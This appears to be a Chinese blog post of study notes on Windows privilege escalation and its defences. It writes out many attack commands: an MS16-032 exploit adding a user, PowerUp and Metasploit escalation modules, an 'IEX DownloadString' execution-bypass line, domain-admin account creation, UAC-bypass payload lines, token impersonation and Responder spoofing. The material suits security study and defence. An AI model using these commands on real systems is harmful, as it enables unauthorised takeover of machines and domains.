權限提升分析及防御


系統內核溢出漏洞提權及防范

通過手動執行命令發現缺失補丁

whoami /groups

 當前權限Mandatory Label\Medium Mandatory Level,是一個標准用戶

接下來將權限從普通用戶提升到管理員,也就是Mandatory Label\Hight Mandatory Level

通過命令查詢目標機器安裝了哪些補丁

systeminfo

也可以用wmic列出已安裝的補丁

Wmic qfe get Caption,Description,HotFixID,InstalledOn

這些輸出結果是不能被攻擊者直接利用的。攻擊者采取的利用方式通常是:尋找提權的EXP,將已安裝的補丁編號與提權的EXP編號進行對比,例如 Kitrapt0D和KB979682、MS1-011和KB2393802、MS1-080和KB2592799、MS10-021和KB979683、MS11-080和KB2592799,然后使用沒有編號的EXP進行提權。  

Invoke-MS16032,psl 

  如果目標機器中存在MS16-032(KB3139914)漏洞,那么攻擊者不僅能夠利用 Metasploit進行提權,還能夠利用 Powershell下的 Invoke-MS16032,psl腳本(見Invoke-MS16-032.ps1)進行提權。通過Invoke-MS16-032.psl腳本可以執行任意程序,且可以帶參數執行(全程無彈窗)。下面針對此問題進行測試。

  把 Invoke-ms16-032.psl腳本上傳到目標機器中(也可以遠程下載並運行),然后執行如下命令,添加一個用戶名為“1”、密碼為“1”的用戶(執行此腳本需要分配兩個CPU)

Invoke-MS16-032 -Application cmd.exe -Commandline "/c net user 1 1 /add"

 這里說我已經有了系統權限了,不給我創建不知道什么原因

MS16-032漏洞的補丁編號是KB3139914,如果發現系統中存在該漏洞,只需安裝該補丁即可

 

利用Metasploit發現缺失補丁

利用msf中的use post/windows/gather/enum_patches模塊,可以根據漏洞編號快速找出系統中缺少的補丁

先連接目標主機,拿到會話,在輸入以下命令

use post/windows/gather/enum_patches set session 2 exploit

 

 

Windows Exploit Suggester

該工具可以將系統中已經安裝的補丁程序與微軟的漏洞數據庫進行比較,並可以識別可能導致權限提升的漏洞,而且其只需要我們給出目標系統的信息即可。Windows-Exploit-Suggester

然后執行如下命令,查看目標主機系統信息,保存為sysinfo.txt文件:

systeminfo > sysinfo.txt

更新漏洞數據庫,會生成一個xls的文件  

python2 windows-exploit-suggester.py --update

 安裝xlrd模塊

pip install xlrd -upgrade

 最后,運行如下命令,查看該系統是否存在可利用的提權漏洞: 

python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt

  

PowerShell中的Sherlock腳本

可以快速查找可能用於本地提權的漏洞rasta-mouse/Sherlock:

Find-Allvulns  //搜索所有未安裝的補丁

  

Windows操作系統配置錯誤利用分析及防范

如果無法通過系統內核溢出漏洞提權的話,攻擊者就會利用系統中的配置錯誤來提權。

常見的配置錯誤包括管理員憑據配置錯誤、服務 配置錯誤、故意削弱的安全措施、用戶權限過高等

系統服務權限配置錯誤

windows系統服務文件在操作系統啟動時加載和執行,並在后台調用可執行文件。因此,如果一個低權限的用戶對此類系統服務調用的可執行文件擁有寫權限,就可以將該文件替換成任意可執行文件,並隨着系統服務的啟動獲得系統權限。Windows服務都是以system權限啟動的,其文件夾、文件和注冊表鍵值都是受強訪問控制機制保護的。

系統服務權限配置錯誤的可能

  1. 服務未運行:攻擊者會使用任意服務替換原來的服務,然后重啟服務。
  2. 服務正在運行且無法被終止:這種符合絕大多數的漏洞利用場景,攻擊者通常會利用DLL劫持技術嘗試重啟服務來提權。

PowerUp下的實戰利用

PowerUp提供了一些本地的提權方法,可以通過很多實用的腳本來尋找目標機器中的Windows服務漏洞(PowerSploit的一部分)

powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"

腳本將會進行所有的檢查  

 

Metasploit下的實戰利用

在Metasploit中,對應的利用模塊是service_permissions。選擇 AGGRESSIVE 選項,可以利用目標機器上的每一個有缺陷的服務。該選項被禁用時,該模塊在第一次提權成功后就會停止工作

use exploit/windows/local/service_permissions

 設置完之后直接run,會自動反彈一個新的meterpreter會話(system權限),強大

.

service permissions模塊使用兩種方法來獲得 System權限:如果 meterpreteri以管理員權限運行,該模塊會嘗試創建並運行一個新的服務;如果當前權限不允許創建服務,該模塊會判斷哪些服務的文件或者文件夾的權限有問題,並允許對其進行劫持。在創建服務或者劫持已經存在的服務時,該模塊會創建一個可執行程序,其文件名和安裝路徑都是隨機的。

 

注冊表鍵AlwaysInstallElevated

注冊表鍵 Always InstallElevated是一個策略設置項。 Windows允許低權限用戶以 System權限運行安裝文件。如果啟用此策略設置項,那么任何權限的用戶都能以 NT AUTHORITY\SYSTEM .

Paths AlwayslnstallElevated 漏洞產生的原因

該漏洞產生的原因是用戶開啟了 Windows Installer t特權安裝功能

 

在“運行”設置框中輸入“ gpedit. msc",打開組策略編輯器。

 ・組策略一計算機配置一管理模板一 Windows組件一 Windows Installer--水遠以高特權進行安裝:選擇啟用。

 ・組策略一用戶配置一管理模板- Windows組件一 Windows Installer-永遠以高特權進行安裝;選擇啟用。

設置完畢,會在注冊表的以下兩個位置自動創建鍵值“1”。

HKEY CURRENT USER SOFTWARE Policies Microsoft Windows Installer AlwaysinstallElevated

HKEY LOCAL MACHINE Policies Microsoft Windows Installer AlwaysinstallElevated

 

Windows Install 的相關知識點

  Windows Installer是 Windows操作系統的組件之一,專門用來管理和配置軟件服務。 Windows Installer 除了是一個安裝程序,還用於管理軟件的安裝、管理軟件組件的添加和刪除、監視文件的還原、通過回滾進行災難恢復等。

  Windows Installer分為客戶端安裝服務( Msiexec. exe)和MsI文件兩部分,它們是一起工作的。

  Windows Installer通過 Msiexec.exe安裝MSl文件包含的程序。MSI文件是 Windows Installer的數據包,它實際上是一個數據庫,包含安裝和御載軟件時需要使用的大量指令和數據。Msiexec.exe用於安裝MSI文件,一般在運行 Microsoft Update安裝更新或者安裝一些軟件的時候使用,占用內存較多。簡單地說,雙擊MS1文件就會運行 Msiexec.exe

 

PowerUp下的實戰利用

在這里,可以使用 Powerup的Get- RegistryAlwaysinstallElevated模塊來檢查注冊表鍵是否被設置。如果 AlwaysinstallElevated注冊表鍵已經被設置,就意味着MSI文件是以 System權限運行的。運行該模塊的命令如下,“True”表示已經設置。

powershell -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('c:/PowerUp.ps1'); Get-RegistryAlwaysInstallElevated

接下來添加賬戶。運行Write-UserAddMSI模塊,生成MSI文件

Write-UserAddMSI

 

這是以普通用戶權限運行UserAdd.msi,就會添加一個管理員賬戶

msiexec /q /i UserAdd.msi

 

 

MSF下的實戰利用

也可以利用 Metasploit的 exploit/windows/local/always_install_elevated模塊完成以上操作。使用該模塊並設置會話參數,輸入“"run”命令,會返回一個 System權限的 meterpreter。該模塊會創建一個文件名隨機的MS1文件,並在提權后刪除所有已部署的文件只要禁用注冊表鍵 Alwayslnstallelevated,就可以阻止攻擊者通過MS1文件進行提權。

但是我沒成功

 

可信任服務路徑漏洞

 可信任服務路徑(包含空格且沒有引號的路徑)漏洞利用了 Windows文件路徑解析的特性,並涉及服務路徑的文件文件夾權限(存在缺陷的服務程序利用了屬於可執行文件的文件文件夾的權限)。如果一個服務調用的可執行文件沒有正確地處理所引用的完整路徑名,這個漏洞就會被攻擊者用來上傳任意可執行文件。也就是說,如果一個服務的可執行文件的路徑沒有被雙引號引起來且包含空格,那么這個服務就是有漏洞的。

 該漏洞存在如下兩種可能性

  • 如果路徑與服務有關,就任意創建一個服務或者編譯 Service模板。
  •  如果路徑與可執行文件有關,就任意創建一個可執行文件。

Trusted Service Paths漏洞產生的原因

  因為 Windows服務通常都是以 System權限運行的,所以系統在解析服務所對應的文件路徑中的空格時,也會以系統權限進行

   例如,有一個文件路徑“C:\Program Files\Some Folder\Service. exe”。對於該路徑中的每一個空格, Windows都會嘗試尋找並執行與空格前面的名字相匹配的程序。操作系統會對文件路徑中空格的所有可能情況進行嘗試,直至找到一個能夠匹配的程序。在本例中, Windows會依次嘗試確定和執行下列程序。

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

因此,如果一個被“適當”命名的可執行程序被上傳到受影響的目錄中,服務一且重啟,該程序就會以 System權限運行(在大多數情況下)。

Metasploit下的實戰利用

 首先,檢測目標機器中是否存在該漏洞。使用wmi查詢命令,列出目標機器中所有沒有被引號引起來的服務的路徑

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

  

可以看到有兩個服務對應的路徑沒有被引號引起來,且路徑包括空格,因此目標機器存在可信任服務路徑漏洞

使用windows的內置工具icacls,檢測是否對目標文件夾的寫權限

 

icacls "c:\program Files"

 

 

 

 

 

這里顯示只有管理員才有權限修改,如果出現Everyone:(OI)(CI)(F),表示對該文件夾,用戶有讀寫刪除的權限

這里沒有此漏洞,只能在理論演示漏洞

 在確認目標機器存在漏洞后,把要上傳的程序重命名並防止在存在此漏洞且可寫的目錄下,執行重啟服務命令

sc stop service_name  
sc start service_name

 也可以使用windows/local/unquoted_service_path模塊,該模塊會將可以執行程序放在受影響的文件夾中,如何將受影響的服務重啟。

但是要注意反彈的會話很快就會中斷,這是因為當一個進程在windows操作系統中啟動后,必須與服務控制管理器進行通信,如果沒有進行通信,服務控制管理器會認為出現了錯誤,從而終止這個進程。但可以終止前遷移到其他進程中

 

 

 

 

 

自動安裝配置文件

網絡管理員在內網中給多台機器配置同一個環境時,通常不會逐台配置,而會使用腳本化批量部署的方法。在這一過程中,會使用安裝配置文件。這些文件中包含所有的安裝配置信息,其中的一些還可能包含本地管理員賬號和密碼等信息。這些文件列舉如下(可以對整個系統進行檢查)

C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\Panther\unattend.xml
也可以執行如下命令,搜索 Unattend.xml文件

dir /b /s c:\Unattend.xml

type打開文件,查看是否包含明文密碼或者經過base64加密的密碼

 

 但這里顯示敏感數據被刪除了

也可以使用metasploit的post/windows/gather/enum_unattend模塊直接利用該漏洞

 

計划任務

可以使用如下命令查看計算機的計划任務

schtasks /query /fo LIST /v 

Accesschk是 Syslnterals套件中的一個工具,由 Mark Russinovicl編寫,用於在 Windows中進行一些系統或程序的高級查詢、管理和故障排除工作,下載地址見AccessChk。基於殺毒軟件的檢測等,攻擊者會盡量避免接觸目標機器的磁盤。而 Accesschk是微軟官方提供的工具,一般不會引起殺毒軟件的報警,所以經常會被攻擊者利用。

執行如下命令,査看指定目錄的權限配置情況。如果攻擊者對以高權限運行的任務所在的目錄具有寫權限,就可以使用惡意程序覆蓋原來的程序。這樣,在計划任務下次執行時,就會以高權限來運行惡意程序

accesschk.exe -dqv "C:\Microsoft" -accepteula

可以使用參數/ accepteula自動接受許可協議

accesschk.exe /accepteula

列出某個驅動器下所有權限配置有缺陷的文件夾,命令如下。

accesschk.exe -uwdgsusersc:\
accesschk.exe -uwdgs"AuthenticatedUsers"c:\

列出某個驅動器下所有權限配置有缺陷的文件,命令如下。

accesschk.exe -uwqsUsersc:\*.*
accesschk.exe -uwgs"AuthenticatedUsers"c:\*.*

  

組策略首選項提權分析及防范

組策略首選項提權簡介

  SYSVOL是活動目錄里面的一個用於存儲域公共文件服務器副本的共享文件夾,在域中的所有域控制器之間進行復制。 SYSVOL文件夾是在安裝活動目錄時自動創建的,主要用來存放登錄腳本、組策略數據及其他域控制器需要的域信息等。 SYSVOL在所有經過身份驗證的域用戶或者域信任用戶具有讀權限的活動目錄的域范圍內共享。整個 SYSVOL目錄在所有的域控制器中是自動同步和共享的,所有的域策略均存放在C:\Window\SYSVOL\Policies\ 目錄中。

  在一般的域環境中,所有機器都是腳本化批量部署的,數據量通常很大。為了方便地對所有的機器進行操作,網絡管理員往往會使用域策略進行統一的配置和管理。大多數組織在創建域環境后,會要求加入域的計算機使用域用戶密碼進行登錄驗證。為了保證本地管理員密碼的安全性,這些組織的網絡管理員往往會修改本地管理員密碼。

  盡管如此,安全問題依舊存在。通過組策略統一修改的密碼,雖然強度有所提高,但所有器的本地管理員密碼是相同的。攻擊者獲得了一台機器的本地管理員密碼,就相當於獲得了整個域中所有機器的本地管理員密碼

  常見的組策略首選項

  • 映射驅動器( Drives.xml)
  • 創建本地用戶。
  • 數據源( Datasources.xml)
  • 打印機配置( Printers.xml).
  • 創建更新服務( Services.xml)
  • 計划任務( Scheduledtasks.xml)

 

組策略首選項提權分析

管理員在域中新建一個組策略后,操作系統會自動在 SYSVOL共享目錄中生成一個XML文件,該文件中保存了該組策略更新后的密碼。該密碼使用AES-256加密算法,安全性還是比較高的。但是,2012年微軟在官方網站上公布了該密碼的私鑰,導致保存在XML文件中的密碼的安全性大大降低。任何域用戶和域信任的用戶均可對該共享目標進行訪問,這就意味着,任何用戶都可以訪問保存在XML文件中的密碼並將其解密,從而控制域中所有使用該賬戶/密碼的本地管理員計算機。在 SYSVOL中搜索,可以找到包含 password的XML文件。

手動查找cpassword

瀏覽SYSVOL文件夾,獲取相關文件C:\Window\SYSVOL\Policies\ 

也可以利用type命令直接搜索並訪問XML文件

type \\dc\sysvol\pentest.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

cpassword使用AES-256加密 

 

使用PowerShell獲取cpassword

PowerSploit提供了Get-GPPPassword.ps1腳本,導入系統獲取組策略的密碼

 

使用Metasploit查找cpassword

use post/windows/gather/credentials/gpp進入模塊使用,這里我沒有設置組策略所以沒有那個路徑

 

針對組策略首選項提權的防御措施

在用於管理組策略的計算機上安裝KB2962486補丁,防止新的憑據被放置在組策略首選項中。微軟在2014年修復了組策略首選項提權漏洞,使用的方法就是不再將密碼保存在組策略首選項中。

此外,需要對 Everyone訪問權限進行設置,具體如下。

  • 設置共享文件夾 SYSVOL的訪問權限。
  • 將包含組策略密碼的XML文件從 SYSVOL目錄中刪除。
  • 不要把密碼放在所有域用戶都有權訪問的文件中。
  • 如果需要更改域中機器的本地管理員密碼,建議使用LAPS

 

繞過UAC提權分析及防范

如果計算機的操作系統版本是 Windows Vista或更高,在權限不夠的情況下,訪問系統磁盤的根目錄(例如C:)、 Windows目錄、 Program Files目錄,以及讀、寫系統登錄數據庫( Registry)的程序等操作,都需要經過UAC( User Account Control,用戶賬戶控制)的認證才能進行。

UAC簡介

UAC要求用戶在執行可能影響計算機運行的操作或者在進行可能影響其他用戶的設置之前,擁有相應的權限或者管理員密碼。UAC在操作啟動前對用戶身份進行驗證,以避免惡意軟件和間諜軟件在未經許可的情況下在計算機上進行安裝操作或者對計算機設置進行更改

需要UAC的授權才能進行的操作列舉如下。

  • 配置 Windows Updates
  • 增加/刪除賬戶。
  • 更改賬戶類型
  • 更改UAC的設置。
  • 安裝 ActiveX
  • 安裝卸載程序
  • 安裝設備驅動程序。
  • 將文件移動復制到 Program Files或 Windows目錄下。
  • 查看其他用戶的文件夾。

UAC有如下四種設置要求。

  • 始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權限時都會提示本地用戶。
  • 僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地 Windows程序要使用高級別的權限時,不會通知用戶。但是,當第三方程序要使用高級別的權限時,會提示本地用戶。
  • 僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度。
  • 從不提示:當用戶為系統管理員時,所有程序都會以最高權限運行。

 

MSF bypassuac模塊

假設通過一系列前期滲透測試,已經獲得了目標機器的 meterpreter Shell當前權限為普通用戶權限,現在嘗試獲取系統的 System權限。

use exploit/windows/local/bypassuac進入bypassuac模塊,獲得一個新的 meterpreter Shell

 但這里需要用戶必須在管理員組中,且UAC必須設置成默認模式,理論可行就不弄了

當 bypassuac模塊運行時,會在目標機器上創建多個文件,這些文件會被殺毒軟件識別。但因為 exploit/windows/local/bypassuac_injection模塊直接運行在內存的反射DLL中,所以不會接觸目標機器的硬盤,從而降低了被殺毒軟件檢測出來的概率。

 

MSF RunAs模塊

使用exploit/windows/local/ask模塊創建一個可執行文件,目標機器會運行一個發起提升權限請求的程序,提示用戶是否要繼續運行,如果用戶選擇繼續運行程序,就會返回一個高權限的meterpreter Shell

 接着目標機器會彈出框框提示用戶是否繼續運行,單擊是會返回新的 meterpreter Shell

 想要使用RunAs提權,當前用戶必須在管理員組中或者知道管理員的密碼,對UAC的設置沒有要求,在使用RunAs模塊時需要使用EXE::Custom選項創建一個可執行的文件(需進行免殺)

 

Nishang中的Invoke-PsUACme模塊

Invoke-PsUACme模塊使用來自UACME項目的DLL繞過UAC

執行GET-HELP Invoke-PsUACme命令查看幫助信息

Invoke-PsUACme -Verbose  ##使用Sysprep方法並執行默認payload
Invoke-PsUACme -method oobe -Verbose  ##使用oobe方法並執行默認payload
Invoke-PsUACme -method oobe -Payload “powershell -windowstyle hidden -e YourEncodedPayload”  ##使用payload,可自定

  

 

針對繞過UAC提權的防御措施

在企業網絡環境中,防止繞過UAC的最好的方法是不讓內網機器的使用者擁有本地管理員權限,從而降低系統遭受攻擊的可能性

在家庭網絡環境中,建議使用非管理員權限進行日常辦公和娛樂等活動。使用本地管理員權限登錄的用戶,要將UAC設置為“始終通知”或者刪除該用戶的本地管理員權限

另外,可以使用微軟的EMET或 Malwarebytes來更好地防范0day漏洞。

 

令牌竊取分析及防范

令牌( Token)是指系統中的臨時密鑰,相當於賬戶和密碼,用於決定是否允許當前請求及判斷當前請求是屬於哪個用戶的。獲得了令牌,就可以在不提供密碼或其他憑證的情況下訪問網絡和系統資源。這些令牌將持續存在於系統中(除非系統重新啟動)

令牌的最大特點是隨機性和不可預測性。一般的攻擊者或軟件都無法將令牌猜測出來。訪問令牌( Access Token)代表訪問控制操作主體的系統對象。密保令牌( Security Token)也叫作認證令牌或者硬件令牌,是一種用於實現計算機身份校驗的物理設備,例如U盾。會話令牌( SessionToken)是交互會話中唯一的身份標識符。

偽造令牌攻擊的核心是 Kerberos協議。 Kerberos是一種網絡認證協議,其設計目標是通過密鑰系統為客戶機服務器應用程序提供強大的認證服務。

 

令牌竊取

假設已經獲得了目標機器的 meterpreter Shell首先輸入“ use incognito”命令,然后輸入'list_tokens-u”命令,列出可用的令牌

這里有兩種類型的令牌:一種是 Delegation Tokens,也就是授權令牌,它支持交互式登錄(例如,可以通過遠程桌面登錄及訪問);另一種是 Impersonation Tokens,也就是模擬令牌,它支持交互式的會話。令牌的數量其實取決於 meterpreter Shell的訪問級別。假設已經獲得了一個系統管理員的授權令牌,如果攻擊者可以偽造這個令牌,便可以擁有它的權限。

接下來在incognito中調用impersonate_token假冒testuser用戶進行滲透測試,在輸入主機名\用戶名時需要輸入兩個反斜杠

 

 

Rotten Potato爛土豆本地提權分析

如果目標系統中存在有效令牌,可以通過Rotten Potato程序快速模擬用戶令牌來實現提權

輸入命令,列出可用令牌

use incognito
list_tokens -u

 下載foxglovesec/RottenPotato: 

執行命令將rottenpotato.exe上傳到目標機器

upload /root/rottenpotato.exe
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

 如果token有管理員用戶的話,那么就可以拿到SYSTEM權限,這里由於是低權限用戶,所以沒有拿到

 

添加域管理員

 假設網絡中設置了域管理進程。在meterpreter會話中輸入ps,查看系統進程,找到域管理進程,使用migrate命令遷移到該進程

 輸入shell進入命令行界面

 添加域用戶

net user testuser 123qweasdzxc /ad /domain

 將域用戶添加到域管理員組

net group "domain admins" testuser /ad /domain

 查看是否添加成功

net group "domain admins" /domain 

 

同樣在meterpreter中使用use incognito 來模擬域管理員,然后通過迭代系統中所有可用的身份驗證令牌來添加域管理員

在域控主機上添加一個賬戶

add_user testuser 123qweasdzxc -h 192.168.1.1

 將該賬戶添加到域管理員組

add_group_user "Domain Admins“ testuser -h 192.168.1.1

  

 

無憑證條件下的權限獲取分析及防范

假設已經進入了目標網絡,但沒有獲取任何憑據,使用LLMNR和NetBIOS欺騙攻擊對目標網絡進行滲透測試

LLMNR和NetBIOS欺騙攻擊的概念

LLMNR

LLMNR本地鏈路多播名稱解析是一種域名系統數據包格式。當局域網中的DNS服務器不可用時,DNS客戶端會使用 LLMNR解析本地網段中機器的名稱,直到DNS服務器恢復正常。

LLMNR的工作流程如下:

  1. DNS客戶端在自己的內部名稱緩存中查詢名稱。
  2. 如果沒有找到,主機將向主DNS發送名稱查詢請求
  3. 如果主DNS沒有回應或者收到了錯誤的信息,主機會向備DNS發送查詢請求。
  4. 如果備DNS沒有回應或者收到了錯誤的信息,將使用 LLMNR進行解析。
  5. 主機通過UDP協議向組播地址24.0.252的5355端口發送多播查詢請求,以獲取主機名所對應的P地址。查詢范圍僅限於本地子網。
  6. 本地子網中所有支持 LLMNR的主機在收到查詢請求后,會對比自己的主機名。如果不同,就丟棄;如果相同,就向查詢主機發送包含自己P地址的單播信息。

  

NetBIOS

Netbios是一種網絡協議,一般用在由十幾台計算機組成的局域網中,根據 NETBIOS協議廣播獲得計算機名稱,並將其解析為相應的P地址

Netbios提供的三種服務如下。

  • NETBIOS-NS(名稱服務):主要用於名稱注冊和解析,以啟動會話和分發數據報。該服務需要使用域名服務器來注冊 NETBIOS的名稱。默認監聽UDP 137端口,也可以使用TCP 137端口
  • Datagram Distribution Service(數據報分發服務):無連接服務。該服務負責進行錯誤檢測和恢復,默認監聽UDP138端口。

  •  Session Service(會話服務):允許兩台計算機建立連接,允許電子郵件跨越多個數據包造行傳輸,提供錯誤檢測和恢復機制。默認使用TCP139端口

  

Net-NTLM Hash

NET-NTLM Hash與 NTLM Hash不同。

NTLM Hash是指 Windows操作系統的 Security Account Manager中保存的用戶密碼散列值。通常保存在 Windows的SAM文件或者NTDS.DIT數據庫中,用於對訪向資源的用戶進行身份驗證。

Net- NTLM Hash是指在網絡環境中經過NTLM認證的散列值。挑戰響應驗證中的“響應“就包含Net- NTLM Hash。使用 Responder抓取的通常就是Net- NTLM Hash。攻擊者無法使用該散列值進行哈希傳遞攻擊,只能在使用 Hashcat等工具得到明文后進行橫向移動攻擊。

 

LLMNR和NetBIOS欺騙攻擊分析

假設目標網絡的DNS服務器發生故障,會退回LLMNR和NBT-NS進行計算機名解析,下面使用Responder工具進行測試SpiderLabs/Responder

Responder是監聽LLMNR和NBT-NS協議的工具之一,能夠抓取網絡中所有的LLMNR和NBT-NS請求並進行相應,獲取最初的賬戶憑證

reponder -h 查看幫助

用法:
responder -I eth0 -w -r -f

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM